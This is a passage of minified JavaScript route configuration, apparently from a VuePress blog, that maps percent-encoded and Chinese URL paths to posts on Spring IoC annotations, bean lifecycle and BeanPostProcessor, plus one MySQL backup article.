6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html"},{path:"/md/core/mysql/base/2022-10-18-《MySQL核心知识》第15章-自动备份与恢复MySQL数据库并发送Email邮件.html",redirect:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html"},{name:"v-741e9c3d",path:"/md/core/spring/aop/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-741e9c3d").then(E)}},{name:"v-174a78fe",path:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-174a78fe").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-001-聊聊Spring注解驱动开发那些事儿.html",redirect:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html"},{path:"/md/core/spring/ioc/2022-04-04-001-聊聊Spring注解驱动开发那些事儿.html",redirect:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html"},{name:"v-167938cb",path:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-167938cb").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-002-组件注册-使用@Configuration和@Bean给容器中注册组件.html",redirect:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html"},{path:"/md/core/spring/ioc/2022-04-04-002-组件注册-使用@Configuration和@Bean给容器中注册组件.html",redirect:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html"},{name:"v-fc5cf2ca",path:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-fc5cf2ca").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-003-组件注册-@ComponentScan-自动扫描组件&指定扫描规则.html",redirect:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html"},{path:"/md/core/spring/ioc/2022-04-04-003-组件注册-@ComponentScan-自动扫描组件&指定扫描规则.html",redirect:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html"},{name:"v-0be82a49",path:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-0be82a49").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-004-自定义TypeFilter指定过滤规则.html",redirect:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html"},{path:"/md/core/spring/ioc/2022-04-04-004-自定义TypeFilter指定过滤规则.html",redirect:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html"},{name:"v-408e39be",path:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-408e39be").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-005-使用@Lazy注解实现懒加载.html",redirect:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html"},{path:"/md/core/spring/ioc/2022-04-04-005-使用@Lazy注解实现懒加载.html",redirect:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html"},{name:"v-2b9d067b",path:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-2b9d067b").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-006-如何按照条件向Spring中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{path:"/md/core/spring/ioc/2022-04-04-006-如何按照条件向Spring中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"v-1dc42540",path:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-1dc42540").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-007-使用@Import注解给容器中快速导入一个组件.html",redirect:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html"},{path:"/md/core/spring/ioc/2022-04-04-007-使用@Import注解给容器中快速导入一个组件.html",redirect:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html"},{name:"v-484183a1",path:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-484183a1").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-008-深入理解Spring的ImportSelector接口.html",redirect:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html"},{path:"/md/core/spring/ioc/2022-04-04-008-深入理解Spring的ImportSelector接口.html",redirect:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html"},{name:"v-42f82cc0",path:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-42f82cc0").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-009-在@Import注解中使用ImportSelector.html",redirect:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html"},{path:"/md/core/spring/ioc/2022-04-04-009-在@Import注解中使用ImportSelector.html",redirect:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html"},{name:"v-ff84c35a",path:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-ff84c35a").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-010-如何将Service注入到Servlet中.html",redirect:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html"},{path:"/md/core/spring/ioc/2022-04-04-010-如何将Service注入到Servlet中.html",redirect:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html"},{name:"v-302f0b9d",path:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-302f0b9d").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-011-使用ImportBeanDefinitionRegistrar向容器中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{path:"/md/core/spring/ioc/2022-04-04-011-使用ImportBeanDefinitionRegistrar向容器中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"v-7b63f51b",path:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-7b63f51b").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-012-使用FactoryBean注册向Spring容器中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{path:"/md/core/spring/ioc/2022-04-04-012-使用FactoryBean注册向Spring容器中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"v-09a2c2ec",path:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-09a2c2ec").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-013-使用@Bean注解指定初始化和销毁的方法.html",redirect:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html"},{path:"/md/core/spring/ioc/2022-04-04-013-使用@Bean注解指定初始化和销毁的方法.html",redirect:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html"},{name:"v-797843fe",path:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-797843fe").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-014-使用InitializingBean和DisposableBean来管理bean的生命周期.html",redirect:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html"},{path:"/md/core/spring/ioc/2022-04-04-014-使用InitializingBean和DisposableBean来管理bean的生命周期.html",redirect:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html"},{name:"v-07741c6a",path:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-07741c6a").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct注解和@PreDestroy注解.html",redirect:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html"},{path:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct注解和@PreDestroy注解.html",redirect:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html"},{name:"v-4a1ac0cc",path:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-4a1ac0cc").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct与@PreDestroy源码解析.html",redirect:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html"},{path:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct与@PreDestroy源码解析.html",redirect:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html"},{name:"v-5b592441",path:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-5b592441").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-017-使用@Scope注解设置组件的作用域.html",redirect:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html"},{path:"/md/core/spring/ioc/2022-04-04-017-使用@Scope注解设置组件的作用域.html",redirect:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html"},{name:"v-2e244c52",path:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-2e244c52").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-018-针对bean的生命周期,我们能做哪些工作.html",redirect:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html"},{path:"/md/core/spring/ioc/2022-04-04-018-针对bean的生命周期,我们能做哪些工作.html",redirect:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html"},{name:"v-6bca2382",path:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-6bca2382").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor底层原理解析.html",redirect:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html"},{path:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor底层原理解析.html",redirect:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html"},{name:"v-712bc0ae",path:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-712bc0ae").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-020-困扰了我很久的AOP嵌套调用终于解决了.html",redirect:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html"},{path:"/md/core/spring/ioc/2022-04-04-020-困扰了我很久的AOP嵌套调用终于解决了.html",redirect:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html"},{name:"v-d7fbb106",path:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-d7fbb106").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor在Spring底层是如何使用的.html",redirect:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html"},{path:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor在Spring底层是如何使用的.html",redirect:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html"},{name:"v-77221ea5",path:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-77221ea5").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor后置处理器浅析.html",redirect:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html"},{path:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor后置处理器浅析.html",redirect:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html"},{name:"v-71e386ca",path:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-71e386ca").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-023-使用@Value注解为bean的属性赋值,原来这么简单.html",redirect:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html"},{path:"/md/core/spring/ioc/2022-04-04-023-使用@Value注解为bean的属性赋值,原来这么简单.html",redirect:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html"},{name:"v-64fa5c7f",path:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-64fa5c7f").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-024-使用@PropertySource加载配置文件,我只看这一篇.html",redirect:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html"},{path:"/md/core/spring/ioc/2022-04-04-024-使用@PropertySource加载配置文件,我只看这一篇.html",redirect:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html"},{name:"v-36389193",path:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-36389193").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-025-使用@Autowired@Qualifier@Primary三大注解自动装配组件.html",redirect:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html"},{path:"/md/core/spring/ioc/2022-04-04-025-使用@Autowired@Qualifier@Primary三大注解自动装配组件.html",redirect:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html"},{name:"v-6a85b00e",path:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-6a85b00e").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-029-看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深.html",redirect:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html"},{path:"/md/core/spring/ioc/2022-04-04-029-看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深.html",redirect:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html"},{name:"v-07375fc8",path:"/md/core/spring/ioc/2022-04-04-030-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6%E5%A6%82%E4%BD%95%E6%B3%A8%E5%85%A5Spring%E5%BA%95%E5%B1%82%E7%9A%84%E7%BB%84%E4%BB%B6.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-07375fc8").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-030-自定义组件如何注入Spring底层的组件.html",redirect:"/md/core/spring/ioc/2022-04-04-030-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6%E5%A6%82%E4%BD%95%E6%B3%A8%E5%85%A